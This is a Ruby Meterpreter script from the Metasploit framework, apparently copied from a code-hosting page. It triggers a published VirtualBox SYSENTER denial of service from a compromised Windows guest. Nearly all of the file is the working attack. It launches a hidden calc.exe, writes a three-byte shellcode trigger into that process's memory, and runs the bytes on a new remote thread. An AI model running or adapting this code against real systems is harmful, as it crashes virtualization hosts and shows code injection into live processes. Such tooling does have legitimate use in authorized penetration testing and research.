55 lines
1.4 KiB
Ruby
55 lines
1.4 KiB
Ruby
##
|
|
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
|
# If you'd like to improve this script, please try to port it as a post
|
|
# module instead. Thank you.
|
|
##
|
|
|
|
|
|
# Meterpreter script for triggering the VirtualBox DoS published at:
|
|
# http://milw0rm.com/exploits/9323
|
|
|
|
opts = Rex::Parser::Arguments.new(
|
|
"-h" => [ false,"Help menu." ]
|
|
)
|
|
|
|
opts.parse(args) { |opt, idx, val|
|
|
case opt
|
|
when "-h"
|
|
print_line("virtualbox_sysenter_dos -- trigger the VirtualBox DoS published at http://milw0rm.com/exploits/9323")
|
|
print_line("USAGE: run virtualbox_sysenter_dos")
|
|
print_status(opts.usage)
|
|
raise Rex::Script::Completed
|
|
end
|
|
}
|
|
|
|
#check for proper Meterpreter Platform
|
|
def unsupported
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
raise Rex::Script::Completed
|
|
end
|
|
unsupported if client.platform != 'windows'
|
|
|
|
# Spawn calculator
|
|
pid = client.sys.process.execute("calc.exe", nil, {'Hidden' => 'true'}).pid
|
|
print_status("Calculator PID is #{pid}")
|
|
|
|
calc = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
|
|
|
# Allocate some memory
|
|
mem = calc.memory.allocate(32)
|
|
|
|
print_status("Allocated memory at address #{"0x%.8x" % mem}")
|
|
|
|
# Write the trigger shellcode
|
|
# sysenter
|
|
# ret
|
|
calc.memory.write(mem, "\x0f\x34\xc3")
|
|
|
|
print_status("VirtualBox SYSENTER Denial of Service launching...")
|
|
|
|
# Create a new thread on the shellcode pointer
|
|
calc.thread.create(mem, 0)
|
|
|
|
print_status("VirtualBox SYSENTER Denial of Service delivered.")
|
|
|